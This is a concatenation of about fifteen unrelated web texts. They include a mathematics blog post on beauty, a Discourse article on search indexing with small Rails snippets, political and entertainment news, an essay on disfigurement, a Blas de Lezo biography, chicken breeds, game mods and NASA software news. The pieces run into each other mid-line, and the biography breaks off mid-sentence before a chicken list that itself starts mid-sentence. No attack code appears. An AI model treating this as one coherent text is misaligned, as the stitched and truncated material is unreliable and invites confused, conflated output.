Summarizing, I see visualizing an alien abstract world, finding new mysteries, creating vast hierarchies or solving the hardest puzzles as four aspects of what mathematicians find most beautiful. But each has its characteristic form of beauty that connects it to distinct parts of our mental life. Can we expect to nail each down to a specific part of the brain? Recall that most of the qualities localized in 19th century phrenology have long since not been dropped as labels for specific cortical areas. The perception of mathematical beauty may also turn out to be a higher order derivative phenomenon characterized by patterns of activity widely distributed over the brain.
I've had a few emails relevant to this post. Andrew Solomon writes:
I like Freeman Dyson's Bird/Frog taxonomy, sort of meta to yours. Also the "Beauty is truth,truth beauty" quote is perhaps relevant if one considers, as I do, that the only real truth is math. (Not that I know much about it, but I'm sure that categorical surmise would take a lot of heat, especially if math is perceived as reliant on axioms.) Lastly, while you elegantly articulate the various thought processes that go into math thinking in your tribal division, I would say that resolution might be lost when simply looking at the equations under consideration. I wonder how much visual accessibility determines voting in comparison to the math lying behind a given equation. Similarly, what is the influence of sentiment, e.g., when considering (what might be considered an inside joke) Hardy's taxi number.
And my good friend and once student Ulf Persson also focussed on the issue of "visual accessibility" by rewriting \( e^{i\pi}=-1 \) :
What about m1_eq3PV)(Mo/? Is that a beautiful formula? This brings up the perhaps trivial issue of beauty being perhaps also in the visual sense of the formula, not only its mathematical contents. When artists try to write mathematical formulas, they use a lot of square roots signs. Maybe those are the most visually striking elements. I recall how intrigued I was by the formulas in Hardy's 'Pure Mathematics', in particular the partial derivative signs intrigued me, and would do so even when I had become mathematically literate. As to the initial formula, this is an amalgam of old notations. Thus'm' for minus eq for equality, now P should mean taking the power of what preceded it, in this case 3, and V indicates that everything that comes after should be included in the exponent. (Cardano used V in RV to indicate that anything came after would be taken the square root of). Finally the Greeks used Greek letters to designate numbers, Diophantine dotted them when they should be taken literally as their numerical values. Thus 1_, while 3 is thought of as a letter to designate e. The imaginary i is given by )( to emphasize its imaginary nature, M is of course multiplication and o/ should obviously denote pi. There is something to be said for streamlined notation. The point of algebraic notation, as I tell my students, is not just to encode information, but more important to be able to manipulate it easily.
And another good friend, also once a student, Larry Gonick (the author of mathematical, scientific and historical cartoon textbooks) wrote me how the "visual accessibility" of Dan Rockore's series of formulas continues to intrigue the art world (!):
I've been meaning to write since we saw the equation prints at the Crown Point Press opening two weeks ago. Yours I thought the handsomest of the lot, though a couple of integral signs had some swash. The Press put your image on the post card. Sample available upon request. The discussion, as you may imagine, was a little strange. The head of the press put herself and her husband on a panel with Dan Rockmore and Dick Karp from Berkeley. All were good talkers, but the artists knew zero about math (and they spoke first, at great and aimless length). Afterward, I had the definite impression that some art groupies were flinging themselves at Dan. See what you missed?The NBA Trades podcast is back. This edition of the show features a conversation with former Seattle Supersonics president of basketball operations/general manager Bob Whitsitt.
We discussed how Bob got his start in sports business as an intern with the Indiana Pacers. He worked his way up to become VP of Marketing for the Kansas City Kings in 1982. After angling for a basketball operations position, he eventually ended up joining the floundering Seattle Supersonics and owner Barry Ackerley.
Bob started his Sonics tenure with six trades in six months. We delved into his process for rebuilding the Supersonics with some key trades and draft decisions. Eventually, we got into the end of the Tom Chambers, Dale Ellis, Xavier McDaniel trio and the new era with Gary Payton and Shawn Kemp.
We then discussed everything up to the rise of the Supersonics as an NBA power, and his eventual split with the Sonics after issues with Ackerley. Bob also discussed various players including Payton, Kemp, Sam Perkins, Derrick McKey, Detlef Schrempf, Benoit Benjamin, Dale Ellis, etc. We also spoke at length about the risky decision to hire George Karl.
Subscribe to the podcast on iTunes
Check us out on Stitcher
Image Credit:
Bob Whitsitt: USA Today/Seattle Post-Intelligencer
Shawn Kemp & Gary Payton: Getty Images/Andrew D. Bernstein
George Karl: blog.gtbets.eu
Song Credit: 130Grit Sound Studio/Ridin Round CoverImportant Update (May 25, 2014): Google has started parsing and indexing Javascript. The approach of this article is to use <noscript> tags but Google will likely ignore those now. We upgraded our site to sniff Google and other popular search engines and serve our simple content that way. However, in the future it might not be a concern as Google plan on having Javascript sites just work!
It’s a myth that if you use a client side MVC framework that your application’s content cannot be indexed by search engines. In fact, Discourse forums were indexable by Google the day we launched.
Search engine visibility does, however, require a little more work to implement. This is a real trade off you’ll have to consider before you decide to go with an MVC framework instead of an application that does its rendering on the server side.
Before you get scared off: I’d like to point out that our search engine code was done by Sam Saffron in a day! This extra work might take you less time than you thought.
Getting Started: Pretty URLs
Out of the box, most client side MVC frameworks will default to hash-based URLs that take advantage of the fact that characters in a URL after an # are not passed through to the server. Once the Javascript application boots up it looks at hash data and figures out what it has to do.
Modern browsers have a better alternative to hash-based URLs: The HTML5 History API. The History API allows your Javascript code to modify the URL without reloading the entire page. Instead of URLs like http://yoursite.com/#/users/eviltrout you can support http://yoursite.com/users/eviltrout.
There are two downsides to using the History API. The first is Internet Explorer only started supporting it IE10. If you have to support IE9, you’ll want to stick with hashes. (Note: Discourse actually works on IE9, but the URL does not update as the user goes around. We’ve accepted this trade off.)
The second downside is that you have to modify your server to serve up your Javascript application regardless of what URL is requested. You need to do this because if you change the browser URL and the user refreshes their browser the server will look for a document at that path that doesn’t exist.
Serving Content
The second downside I mentioned actually has an nice upside to it. Even if you are serving up the same Javascript code regardless of URL, there is still an opportunity for the server to do some custom work.
The trick is to serve up two things in one document: your Javascript application and the basic markup for search engines in a <noscript> tag. If you’re unfamiliar with a the <noscript> tag, it’s designed for rendering versions of a resource to a clients like search engines that don’t support Javascript.
This is really easy to do in Ruby on Rails (and probably other frameworks that I’m less familiar with!). Your application.html.erb can look like this:
<html> <body> <section id='main' ></section> <noscript> < %= yield %> </noscript> </body>... load your Javascript code here into #main </html>
With this approach, if any server side route renders a simple HTML document, it will end up in the <noscript> tag for indexing. I wouldn’t spend much time on what the HTML looks like. It’s meant to be read by a robot! Just use very basic HTML. To preview what a search engine will see, you can turn off Javascript support in your browser and hit refresh.
We’ve found it advantageous to use the same URLs for our JSON API as for our routes in the Javascript application. If a URL is requested via XHR or otherwise specifies the JSON content type, it will receive JSON back.
In Rails, you can reuse the same logic for finding your objects, and then choose the JSON or HTML rendering path in the end. Here’s a simplified version of our user#show route:
def show @user = fetch_user_from_params respond_to do | format | format. html do # doing nothing here renders show.html.erb with the basic user HTML in <noscript> end format. json do render_json_dump ( UserSerializer. new ( @user )) end end end
Note that you don’t have to implement HTML views for all your routes, just the ones that you want to index. The others will just render nothing into <noscript>.
One More Thing
If you get an HTML request for a URL that also responds with JSON, there is a good chance your application is going to make a call to the same API endpoint after it loads to retrieve the data in JSON so it can be rendered.
You can avoid this unnecessary round trip by rendering the JSON result into a variable in a <script> tag. Then, when your Javascript application looks for your JSON, have it check to see if it exists in the document already. If it’s there, use it instead of making the extra request.
This approach is much faster for initial loads! If you’re interested in how it’s implemented in Discourse, check out:Sen. Susan Collins (R-ME) talks with reporters after leaving a meeting of Republican senators where a new version of their healthcare bill was scheduled to be released at the U.S. Capitol on July 13, 2017 in Washington, D.C. Getty Images
Sen. Susan Collins, one of two Republicans who has already expressed opposition to the bill that would replace Obamacare warned the legislation would translate into “sweeping and deep cuts” to Medicaid while putting “the very existence of our rural hospitals and our nursing homes” at risk. The Senate has delayed consideration of the health care legislation while Sen. John McCain recovers from surgery and Collins said she doesn’t know whether it will be able to garner enough support. “I think it would be extremely close,” Collins said. “There are many of us who have concerns about the bill, particularly the cuts to the Medicaid program.”
In an interview with ABC’s This Week, Collins said she estimates “there are about eight to 10 Republicans” in the Senate who have “deep concerns” about the Republican plan to repeal and replace Obamacare. “This bill would make sweeping and deep cuts to the Medicaid program, which has been a safety net program on the books for more than 50 years, ensuring that some of our most vulnerable citizens, our disabled children, our low-income seniors, receive the health care that they need,” Collins said. “It would also jeopardize the very existence of our rural hospitals and our nursing homes, which not only provide essential care to people in rural America, but also are major employers in the small communities in which they are located.”
.@SenatorCollins to @ThisWeekABC: GOP health care bill "would make sweeping and deep cuts in the Medicaid program." https://t.co/CSfGNd1gf0 pic.twitter.com/PX63X8tKIO — This Week (@ThisWeekABC) July 16, 2017
When CNN’s Jake Tapper asked Collins about Vice President Mike Pence’s recent claim that the bill would strengthen Medicaid, the senator said she “would respectfully disagree with the vice president’s analysis.” The “very deep cuts” to Medicaid that are included in the bill “would affect some of the most vulnerable people in our society,” Collins said.
The senator noted that the “worst” part about these sweeping changes is that they would take place “without the Senate having held a single hearing to evaluate their impact.” While there might be room to slash Medicaid costs, “we haven’t had that kind of in-depth analysis, public hearings” that could help new ideas emerge.
For now at least no major changes are planned and the Senate expects to hold the vote on the Republican health care bill once McCain recovers from surgery, Senate Majority Whip John Cornyn said. “But yes, I believe that when we have a full contingent of Senators that we’ll have that vote and it’s important that we do so,” Cornyn added.
There are only 52 Republicans in the Senate and two of them, Collins and Sen. Rand Paul, have already said they won’t support the legislation. Paul said on Sunday he doesn’t think Republicans have enough votes to approve the legislation. “I still think the entire 52 of us can get together on a more narrow, clean repeal,” the Kentucky Republican said.I was nearly boiled to death as a six-month-old infant.
I fell into a pot of boiling-hot water, immersed in it for nearly an hour -- alone and unsupervised. This traumatic event, literally scarred me for life. Physically for sure, but also emotionally and psychologically.
Dysmorphohpobia -- It's a word that most people have never heard of, yet we all are touched by it -- some very much, most at least a little. The word has two simultaneous meanings: the fear of acquiring a deformity and the fear or revulsion of deformity in someone else.
Although I had never heard the word, dysmorphophobia, growing up, I was far too intimately familiar with its two meanings. According to the World Health Organization, there are more than 11 million burn victims who required medical treatment worldwide each year. Nearly all of them too become acutely aware of the meaning of this word that no one has heard of.
Fear of and repulsion by disfigurement is based on universal, evolved innate human reflexes which are then reinforced by social and cultural norms and stigmas. Literally, people can't help their reactions.
But those who live with deformity -- especially a visible one, and particularly if it is on the face or the hands -- confront daily the painful effects of these innate and socially reinforced reactions in the people around them. Those with deformities often find that their life's chances for success in work, dating, marriage, friendships and society are negatively impacted and possibly severely limited.
Deformity is a land of one.
Having a deformity doesn't suddenly make one not be dysmorphophobic toward others, though it may make one more sympathetic. Likewise, few rarely find pride in being disfigured. To be sure, some take pride in their ability to cope or overcome their deformity, but the disfigurement itself is rarely a source of pride.
There is no pride of membership, of belonging, of citizenship in the land of the misshapen, the disfigured.
But there are things people can do to ease the life of someone who has a deformity. Here are five simple ones:
1. Never point.
2. Don't take sneak looks while talking to the person.
We will notice your flitting eyes. We have lots of practice spotting them. If you are engaged in a conversation and find that you can't help but notice, then simply say so and ask -- neutrally -- what happened.
3. Don't take notice of a child's deformity or ask a child about it if you are an adult.
If it is a natural, appropriate circumstance, and if you must, ask the parent. Never the child.
4. Don't lie and say that you've never noticed.
It's OK to say that you noticed it, but that it's not the focus of your attention when you're interacting with the person. If that is true, it's a good thing.
5. Don't talk about how you know someone who has the exact same or similar deformity and how great a person he or she is.
The deformity shouldn't define the person or make it surprising that a person with a deformity is wonderful or the opposite. Telling someone that another person has the same misfortune really is meaningless to the person who must live with a deformity every day.
Dr. Martin Luther King, Jr.'s dream that one day people may be judged by the content of their character and not the color of their skin may come to pass. But it is unlikely that this dream will apply to those who are scarred, misshapen, disfigured or deformed. Evolution has stamped indelibly into the human brain innate reactions. And social reinforcement likely runs too deep.
It is better to acknowledge that we are all, to one degree or another, dysmorphophobic. It's like acknowledging that one is allergic to something. The item to which one is allergic is not the cause of the problem, per se. An allergy is caused by the body's reaction to something -- it is the body's innate reaction that causes the problem.
Animals cannot help their reactions to situations and cannot constrain their behaviors in response to their reactions of fear or revulsion. We humans, being a part of the animal kingdom, cannot help our feelings and internal reactions -- our fears and revulsions.
But how we act, behave, and respond to our fears and revulsions is a choice governed by our intellect and thus can be the defining element that makes us truly human and truly humane.
Joel L. A. Peterson is the award-winning author of the critically acclaimed book, Dreams of My Mothers (Huff Publishing Associates, March, 2015).
"Compelling, candid, exceptionally well written, "Dreams Of My Mothers: A Story Of Love Transcendent" is a powerful read that will linger in the mind and memory long after it is finished and set back upon the shelf. Very highly recommended."
-- Midwest Book Review
Like and share this article via Facebook or Twitter. For more articles by the author, become a fan by clicking the "fan" button at the top of the page.Sega of America confirms employee layoffs
Sega, which was hit with a lawsuit in May over false advertisement for the game Aliens: Colonial Marines, has confirmed that it has laid off some of its employees in the United States, though specifics — namely, the number of employees who were let go — hasn’t been specified. Such a move comes a handful of months after the company experienced hefty losses.
Sega of America is the Japanese company’s division in the US, where it the layoffs took place. Though not much information was provided, Venture Beat says that Sega claims the number let go is small. Whether the company will later provide more details is yet to be seen, but until then, a spokesperson provided a general reason for the business decision.
“As the gaming industry continues to evolve, companies must adapt and adjust in order to compete and succeed in an ever-changing environment. As a result of this, Sega of America has recently undergone a restructure that will enable the company to focus efficiently on developing new and existing content across digital platforms as well as continuing to focus on key brands for packaged goods.”
As mentioned, back in March, Sega experienced substantial losses, with Joystiq reporting that the Sega Sammy board of directors had put plans in to place to bring costs down. The reason for the change was an anticipated net income drop a tad over 47-percent, dropping by billions of yen. As part of the plan, Sega had said it would be “streamlining” its European and US operations, resulting ultimately in a smaller company, something this layoff seems to be part of.
SOURCE: Venture BeatEXCLUSIVE: BET’s signature drama series, Being Mary Jane, starring Gabrielle Union, is coming to an end. The network has ordered a two-hour movie, which will serve as a series finale. It will air in 2018.
A series finale movie makes for a full circle, giving Being Mary Jane fitting bookends. The series started with a highly-rated TV movie, which drew 4 million viewers for its July 2013 premiere, jump-starting the series, which premiered the following January
The decision to go with a movie in lieu of a fifth-season pickup comes three weeks after Being Mary Jane‘s Season 4 finale aired on Sept. 19. Union, who stars as successful TV news anchor Mary Jane Paul, is set to return for the finale. It is unclear yet who else from the cast will be back, with the movie’s producing team also TBD. For the first three seasons, Being Mary Jane was run by creator Mara Brock Akil who, along with her husband/fellow Being Mary Jane executive producer Salim Akil, left last year for an overall deal at Warner Bros. TV. (They remained as exec producers.) Erica Shelton Kodish, who served as showrunner on the supersized, 20-episode Season 4, which she executive produced alongside fellow new addition Will Packer, recently departed for an overall deal at CBS TV Studios.
“Being Mary Jane has been a landmark series not only for BET, but for African American women around the world who saw themselves in Mary Jane, her family, friends and coworkers. From the captivating storytelling, to the richly complex characters, to the powerful issues tackled on the series, we remain immensely proud,” said Connie Orlando, EVP and Head of Programming, BET Networks. “We are grateful to the cast and creators of Being Mary Jane, who have worked tirelessly to bring this world to vivid life over the past 4 seasons. We also thank the many loyal viewers whose hearts and minds were captured every week, and kept Mary Jane trending worldwide. We look forward to closing out Mary Jane’s journey with a series finale that is sure to blow fans away!”
Season 4 of Being Mary Jane was executive produced by Packer and Shelton Kodish who joined Union, Mara Brock Akil and Salim Akil as executive producers, with Jeff Morrone co-executive producing for BET, Will Packer Productions and Akil Productions. Korin D. Huggins, Head of Television for Will Packer Prods., oversaw for the company.
While it’s pretty rare because it is an expensive proposition, a few series have gotten a series finale movie to wrap up their storylines. The list includes Hello Ladies on HBO, CSI on CBS and Sense8 on Netflix.
The end of Being Mary Jane leaves BET’s drama The Quad, which is coming back. There has been no renewal decision yet on fellow freshmen Tales and Rebel. BET’s scripted series portfolio recently got a boost with two high-profile transfers from VH1, The Breaks and Hit the Floor. On the comedy side, new BET series The Comedy Get Down premieres tonight.Sony Music and Spotify have finally reached a licensing agreement. As first reported by Billboard and confirmed to The Verge by a source close to the situation, the deal will go into effect immediately. Sony Music, one of the biggest record companies in the world, owns RCA and Columbia and represents artists from Journey to Avril Lavigne to Future to The Chainsmokers.
While no details of the agreement have been made public, it’s likely that they’re similar to the terms of an agreement Spotify struck with Universal Music Group in April. That multi-year deal gave UMG artists the option to hold back new albums from Spotify’s free tier for two weeks after release and, in exchange, gave Spotify a slight break on revenue sharing as its subscriber base grows. (It hit 50 million paid subscribers in March, with Apple Music trailing at 27 million as of June.) At the time, Billboard reported that Spotify’s royalty payment would drop from 55 percent of its streaming revenue to 52.
spotify needs all the big labels to ink similar deals
Spotify is still pursuing a similar contract with Warner Music Group. These deals are crucial for the company; it needs to find a path toward profitability before a public offering sometime this year.
The announcement of the Sony deal comes on the heels of several other significant changes for Spotify. Last month, infamous holdout Taylor Swift came back to the service, more or less ending the biggest debate over artist rights in the streaming age. Yesterday, Spotify announced new data-mining tools for brands that want to advertise to its free tier users, and in the last year it has experimented extensively with “Sponsored Songs” and other types of paid partnerships with major artists. Its curated playlists and algorithmic charts are a source of fascination for music industry watchers, who are increasingly intrigued by and wary of Spotify’s power to shape the culture around music.
The major moves make sense, as Spotify will be racing the clock to go public and avoid accelerated interest rates on the $1 billion debt it raised in March 2016. That financial decision was publicly acknowledged as part of an aggressive growth strategy for Spotify. This, at least, the company seems to have already followed through on. Not only has it hit 140 million total users, a mid-year Nielsen report shows a 62.4 percent increase in streaming over this time in 2016. When Spotify struck its UMG deal, chairman and CEO Lucian Grainge commented, "Working hand in hand with these digital services brought us the industry’s first real growth in nearly two decades."Imagine this. You’re hanging out with friends and you’re playing a video camera. You go to Walmart and continue filming in the parking lot. A police officer approaches you and begins harassing you even though you haven’t broken any laws. Then the officer threatens to taser you and your buddies if you don’t comply with his demands. Now imagine that the cop is white, you and your friends are black and you’re at a Walmart in Texas. That’s exactly what happened at a Houston-area Walmart to a group of young black men who were just hanging out and playing with their camera.
According to Progressivepopulist.org, the men were filming outside the front doors of the superstore when they were suddenly approached by a white police officer who demanded to see their identification even though they weren’t doing anything wrong, suspicious, or illegal. They were just black youths spending time together having fun with a camera. They knew that as well, and refused to comply with the officer’s demands.
The officer then accused the men of “resisting” him, pointed a taser at them and threatened to use it. One of the men stepped in front of his friend to keep him from being tased, and pleaded with the officer not to pull the trigger. The officer then threatened to call for additional units.
One of the men told the officer that they know how to read and understand their constitutional rights. That’s when the officer threatened to call for backup.
“You know what, I’m calling for a unit right now. We’ll see how well you know the Constitution,” the officer told them. To which, the man responded thusly:
“What’s the– What’s the unit gonna do, take me to jail for knowing the Constitution? For standing for my freedom?”
It turns out that the incident could have been a tragedy had the officer followed through with his ridiculously unnecessary threat to tase the men. One of the men informed the officer that he is a kidney dialysis patient and may have died from the tasing. The video then comes to an end.
Here’s the video via:
This is yet another example of how white police officers treat African-Americans compared to Caucasians. If this had been a group a white men, the officer wouldn’t have given them a second thought. But because of racial profiling and stereotyping, this officer felt compelled to challenge the men even though they weren’t doing anything wrong. They were only guilty of being young black men in a state that has a long and violent history of racism. And last time I checked, being black isn’t a crime. But, by all means, watch the video and decide for yourselves. Did the men do anything wrong? Was the officer out of line? Is this yet another example of racial persecution? Would things have been totally different had the men been white?
For too long, young black men have been treated unequally by law enforcement in America. According to a July Gallup poll, 24% of African-Americans under the age of 35 reported being treated unfairly by police in a 30 day time-frame. The unfair treatment appears to mostly occur when African-Americans are shopping. 24% of those surveyed by Gallup reported being harassed by police during that particular activity. This latest incident in Texas falls in the same category since the men were at a Walmart. For some reason, law enforcement seem incapable of understanding that equality is a value upheld by the Constitution. It’s time to change that. Young African-Americans should not have to fear being targeted by police in this country, especially when they are doing absolutely nothing wrong. Can Republicans explain again how racism is supposedly dead in America?The Alabama recruiting class for 2017 keeps rolling right along as the Tide picks up one of the best long snappers in the country for the 2017 class.
ICYMI: Alabama Football’s Scott Cochran: Worth Every Cent
All Alabama recruiting fans get excited for the five-stars across the board, but this is one to get excited for as well if you think about it.
Some may ask why would you celebrate a long snapper. Do you want someone back there that struggles with it? It’s a pretty important position if you think about it and it’s one that won’t get much attention from fans until they mess up. That makes today’s news even better.
The 2017 class keeps shaping up as we get closer to the start of this college football season. Coach Nick Saban and the Alabama staff picked up a commitment from the top long snapper in the country on Thursday.
Blessed and honored to announce that I have committed to THE University Of Alabama! #rolltide#snapperUpic.twitter.com/IpcvbwAP78 — Thomas Fletcher (@longsnapfletch) June 23, 2016
Thomas Fletcher, rated a five-star long snapper by Rubio’s long snapping website, announced his decision via his Twitter account that he plans on attending the University of Alabama.
The 6-foot-2, 220-pound prospect attends the IMG Academy in Bradenton, Fl.
“I’m going to ‘Bama,” Fletcher told Scout. “It was the fact that I feel really at home when I’m up there. It wasn’t a decision made all because it’s Alabama football, but with the academic people, campus, and everything, it was a decision I could make if I wasn’t playing football”.
Chris Rubio of Rubio Long Snapping describes him as having the potential of being the best in the history of the website. On his player profile, Rubio says Fletcher is “by far, the best in the country with his snapping and his mindset”. He also says he is college-ready now and gets better as you apply more pressure to him.
Welcome to Tuscaloosa, Thomas. With all of those traits, I’d say you are going to fit right in.Lezo and the second or maternal family name is Olavarrieta. This name uses Spanish naming customs : the first or paternal family name isand the second or maternal family name is
Admiral Blas de Lezo y Olavarrieta, KOGF, OHS (3 February 1689 – 7 September 1741) was a Spanish officer best remembered for the Battle of Cartagena de Indias (1741) in modern-day Colombia, where Spanish imperial forces under his command resisted and defeated a large British invasion fleet under Admiral Edward Vernon.
Throughout his naval career, Lezo sustained many severe wounds; he lost his left eye, left hand, complete mobility of the right arm, caught Typhoid fever and had his left leg amputated in situ after being hit by the projectile of a cannon.[1] Such injuries earned him the nicknames Captain Pegleg and Half-man, both referencing his consequential physical attributes.[2] This has led to Lezo being thought of as a model for the stereotypical peglegged pirate common in modern fantasy novels.[3]
Lezo's actions at Cartagena de Indias consolidated his legacy as one of the most heroic figures in the history of Spain and he has thus been promoted as one of the best strategists in naval history.[4][5]
Biography [ edit ]
Early missions and injuries [ edit ]
Born in Pasajes (by then still part of San Sebastián), in the Basque Province of Guipúzcoa in Spain, Blas de Lezo y Olavarrieta commenced his naval career in the French navy in 1701 as a midshipman. In 1704 he fought in the War of Spanish Succession as a crew member in the Franco-Spanish fleet which fought the combined forces of Great Britain and the Netherlands at the indecisive Battle of Vélez Málaga. At this time, his left leg was hit by cannon-shot and was later amputated under the knee.[6] Promoted to ensign, he was present at the relief of Peñíscola, Spain, and Palermo in Sicily; his service in these and other actions resulted in his promotion to ship lieutenant. Participating in the 1707 defence of the French naval base of Toulon cost him his left eye. In 1711 he served in the Spanish Navy under the orders of Andrés de Pez. In 1713 he was promoted to captain. In 1714 he lost use of his right arm in the Siege of Barcelona. Later in this campaign, his ship captured the Stanhope commanded by John Combes, sometimes claimed to be a 70-gun but actually just a 20-gun merchantman.[7]
Thus, by age 25 or 27, depending on the sources, de Lezo had lost his left eye, his left leg below the knee, and the use of his right arm.[8][9] Modern sources often focus on these salient features and refer to Lezo with nicknames such as "Patapalo" (Pegleg) and "Mediohombre" (Half-man). There is no contemporary proof that these (or others) were actually used during Lezo's lifetime.
Stanhope (ca. 1710) A 19th-century depiction of Blas de Lezo's frigate towing its prize, the(ca. 1710)
First posting to the Americas [ edit ]
Lezo served in the Pacific in 1720-1728. Although it has been claimed that he took many prizes during this period, documentary evidence indicates that in fact he took only two French frigates and not in the Pacific but in the Atlantic. He reached Callao with them in January 1720 although he had left Spain in 1716 as second-in-command of the Nuestra Señora del Carmen or Lanfranco as part of the expedition commanded by Juan Nicolás de Martinet. He was separated from the expedition while attempting to sail past Cape Horn. The prizes attributed to Lezo were taken by Martinet, who reached Callao in June 1717 and left the Pacific in 1719 before Lezo's arrival.[10] Lezo married in Peru in 1725.
Return to the Mediterranean [ edit ]
In 1730 he returned to Spain and was promoted to chief of the Mediterranean Fleet; with this force he went to the Republic of Genoa to enforce the payment of two million pesos owed to Spain that had been retained in the Bank of San Jorge. Deeming the honour of the Spanish flag to be at stake, Blas de Lezo threatened the city with bombardment.
In 1732, on board the Santiago, he and José Carrillo de Albornoz commanded the enormous expedition to Oran and Mers-el-Kébir with more than 300 ships and around 28,000 troops, comprising infantry, cavalry and artillery. In the Battle of Aïn-el-Turk they recaptured the cities lost to the Ottoman Empire in 1708. After the defeat, Bey Abu l-Hasan Ali I managed to reunite his troops and surrounded the city of Oran. Lezo returned to its aid with six ships and 5,000 men and managed to drive off the Algerian pirate after a hard fight. Dissatisfied with this he took his 60-gun flagship into the corsair's refuge of Mostaganem Bay, a bastion defended by two forts and 4,000 Moors. He inflicted heavy damage on the forts and town. In the following months he established a naval blockade, preventing the Alger |
this breed in your flock. They are arrogant, moody and hardly blend up in the flocks. They lay over-sized eggs, which are ‘half-white in color’.
8- Single comb brown leghorn:
You must have heard about ‘leghorn family’ a lot – defiantly, the breed belongs to the leghorn family so share almost every other feature of the cousins. They are big in size, lay ‘bright white eggs’ and remain unfriendly to all in the flock.
9-RHODE ISLAND RED.
No doubt it’s well popular among various heritage chicken breeds. It is a dual purpose breed that lays ‘brown color eggs‘ and famous as a fine broiler.
10-SPECKLED SUSSEX.
This breed originated from England about 100 years ago. The feather has a mix of ‘mahogany and black with white’ tips. It’s known as good laying breeds produces ‘light brown or tinted eggs’.
11: Silver Campine:
Highly adored for its ‘ornamental value’, this breed remains popular for those who want to have a small backyard farm but majorly for decor purpose. It’s lightweight, fully feathered, active and energetic chicken. However, the biggest benefit of this breed is constant production of ‘white eggs’.
12: New Hampshire:
Looking for a breed which can be used for ‘both barbecue and egg production‘? Tame this breed as you can get quick desired results as you can see this type of chicken gains the weight and feathers quickly and produce ‘large brown eggs‘.
13: White Langshan
This breed is commonly considered polite, because it generally enjoys being with other. In addition, it can be called beautiful because of its big feathers, which cover almost toes too. This breed lays a good number of eggs, which has somewhat ‘dark brown in color’. They offer great nutritional value.
14: White Crested black polish:
This breed has somewhat gorgeous color and a very different look than the other types. The sheen of this chicken is worth praising and the color is admirable. With all this, God has gifted the bred with the ability to produce a good amount of eggs, which are ‘white in color’. The fancy breed in every way is practical.
15: White laced red Cornish:
This breed would simply test your patience because this bird takes a lot of time to get fully mature. Normally people use this bird for flesh because egg production does not seem to be a very good option here. If you want to enjoy great chicken meal with close friends, or earn money, sell this breed in form of meat. This is the best breed if the goal is to have raising meat chickens.
Other than the mentioned ones, there are many pure heritage and industrial breeds too. Based on your choice you simply choose between the best egg laying chicken breeds and the heritage meat chicken breeds. Yes, you even have the option of choosing chickens, which are highly adored for their ornament values too. You can have some exhibitions at your place and pet lovers would buy them for good value.StarDrive mods for BlackBox. ComboMod. TechLevel. Babylon5, Lost Tech, STSA and more
Please use Combined Arms Instead of this super pack
Combined Arms is currently maintained. CA is continued work on ComboMod.
The CA devs are available on this discord channel for questions and such.
BlackBox mods Channel
Included Mods
Shattered Alliance
Tech Level Mod
Tim.xml
Anomaly
Bab5
Blackops
Combo
Elethio's Weapon Mod
i hangars Xtra
Lost Tech Reborn
M0ar troops
Overdrive
SD_Extended
No manual installation is require.
Each mod has had minor reformatting of files to exist all in the mod directory. BlackBox will allow switching between these mods from in game.
Star Trek Shattered alliance
This was made by one of the black box devs and uses blackbox features not seen in ny other mod. Including transporters and few other blackblox only additions that can not see anywhere else.
Combo Mod
This mod has had several additions since blackbox release. Russian language localization. Fixes and a few enhancements. Most notably is the Combo Mod utilizes many graphical improvements utilizing blackbox features.
Other mods
Each mod has been given a minor change to the mods game header. This includes the mod author and the mods associated website. Blackbox mod manager show this information and allow navagation to the mod website in the steam overlay. techlevel has also received some minor modifications.
Please Note
BlackBox does not have any responsibility to these mods. They are maintained as they are via the mod author. Issues in these mods can be reported to the blackbox team but it unlikely that blackbox devs will make any modifications to these mods.Written by Greg Otto
If you have ever wanted to discover an asteroid, you now have the ability to do it straight from your computer.
NASA announced a new software program Sunday that increases the likelihood of amateur astronomers discovering asteroids. Built with the help of Planetary Resources, a company researching asteroid mining, along with Harvard University and the University of Arizona, the software contains an algorithm that better analyzes images for potential asteroids.
The software can now identify asteroids in the belt between Mars and Jupiter 15 percent better than previously possible, something Jenn Gustetic, White House assistant director for open innovation, called “the largest scientific advancement or increase in capability that we have seen in a very long time.”
“We had nonaerospace engineers, nonaerospace physicists, nonplanetary scientists that were in the Topcoder community that used advanced machine learning approaches to develop the algorithm,” Gustetic said Sunday during a panel at the South By Southwest Interactive conference. “It really shows how much the crowd can actually help with questions of rocket science.”
The Asteroid Data Hunter challenge was actually launched at last year’s South By Southwest conference with winners picked in December, earning a share of $55,000 in the process.
The software builds upon the practice of taking images of the same place in the sky and looking for starlike objects that move between frames, which signals the discovery of an asteroid. With the software, amateur astronomers can take images from their telescopes and analyze them with the application, which will tell the user whether a matching asteroid record exists and offers a way to report new findings to Harvard’s Minor Planet Center to confirm and archive new discoveries.
“The beauty of such archives is that the data doesn’t grow stale, and with novel approaches, techniques and algorithms, they can be harvested for new information. The participants of the Asteroid Data Hunter challenge did just that, probing observations of the night sky for new asteroids that might have slipped through the software cracks the first time the images were analyzed,” Harvard’s Jose Luis Galache said.
NASA officials who spoke on Sunday’s panel used the Asteroid Data Hunter challenge as an example of how the government’s challenges are a way for not just subject experts to solve NASA’s problems but anyone who thinks they have an idea that a government agency can benefit from.
Sam Ortega, NASA’s Centennial Challenges program manager, told the crowd about a previous open competition aimed at creating new gloves that better protected astronauts’ hands. The second-place winner in that competition had zero prior experience working with the government — he worked as a fabricator on Broadway, designing things like the costume wings Victoria’s Secret models wear in the company’s advertising campaign. After participating in the challenge, the fabricator created a company, Final Frontier Design, that now makes spacesuits for public and private space organizations around the globe.
With the federal government awarding more than $70 million in more than 400 challenges since 2005, Sunday’s panel drove home the idea that individuals and small businesses, no matter their background, can innovate in areas that would normally seem beyond their reach.
“The concept that you have to be a rocket scientist or a total engineer to compete in space exploration is completely wrong,” Ortega said.
Download the Asteroid Data Hunter software for free on Topcoder’s website.
To find out more about NASA’s Open Innovation projects, visit its website.Debian took us out of dependency hell. Sun liberated Java and the community packaged OpenJDK for Debian. The Jigsaw project of OpenJDK aims to take us out of the JAR hell that is imposed by the JVM and associated baggage. And this lecture is an update on efforts to use Jigsaw to match the Java module dependency graph to the Debian package dependency graph for a more intimate, and appropriate, matching of Java to GNU/Linux.
Why is solving this puzzle important? Because many Java applications don't need things like CORBA, SNMP and XML which currently are part of every Java Runtime Environment. Those applications should not have to pay the price in terms of slower startup time, greater memory footprint and larger (dependent) package space. The Free Software world needs Java to tease apart component modules so that applications can be appropriately refactored and maintained individually. The immediate performance gains will be complemented by a mature evolution of Java applications (based on dependent components -- as other programming languages are packaged in Debian) and by improvements in the ability to address security (finally we will be able to fix a Java bugs in the one responsible package).
